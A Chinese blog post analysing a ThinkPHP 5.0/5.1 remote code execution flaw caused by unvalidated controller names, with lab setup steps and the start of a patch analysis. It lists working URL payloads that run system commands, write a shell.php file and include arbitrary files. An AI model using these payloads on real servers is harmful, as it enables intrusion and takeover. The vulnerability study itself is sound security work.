thinkphp5 异步调用方法_代码审计 | ThinkPHP5漏洞分析之代码执行(二)

本文深入探讨了ThinkPHP5框架中存在的一处代码执行漏洞,分析了漏洞产生的原因,即在未开启强制路由时,允许调用任意类方法。通过漏洞环境配置,展示了如何触发此漏洞,并详细解释了官方的修复措施。最后,给出了攻击流程图以帮助理解整个攻击过程。
摘要由CSDN通过智能技术生成

本系列文章将针对 ThinkPHP 的历史漏洞进行分析,今后爆出的所有 ThinkPHP 漏洞分析,也将更新于ThinkPHP-Vuln(https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 ThinkPHP 中存在的 远程代码执行 漏洞。

漏洞概要

本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.225.1.0<=ThinkPHP<=5.1.30。不同版本 payload 需稍作调整:

5.1.x

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php  phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php  phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞环境

通过以下命令获取测试环境代码:

composer create-project --prefer-dist topthink/think tpdemo

composer.json 文件的 require 字段设置成如下:

"require": { "php": ">=5.6.0","topthink/framework": "5.1.30"
},

然后执行 composer update 。接着访问 http://localhost:8000/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 链接,即可触发 远程代码执行漏洞

381383b08d8f005100913d603de63bdb.png

漏洞分析

首先在官方发布的 5.1.31 版本更新说明中,发现其中提到该版本包含了一个安全更新。

17c4c1031ee97511d092d4fc580a0f3c.png

官方微信 公众号 中有对本次安全更新的些许描述:

本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

我们可以查阅其 commit 记录&#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值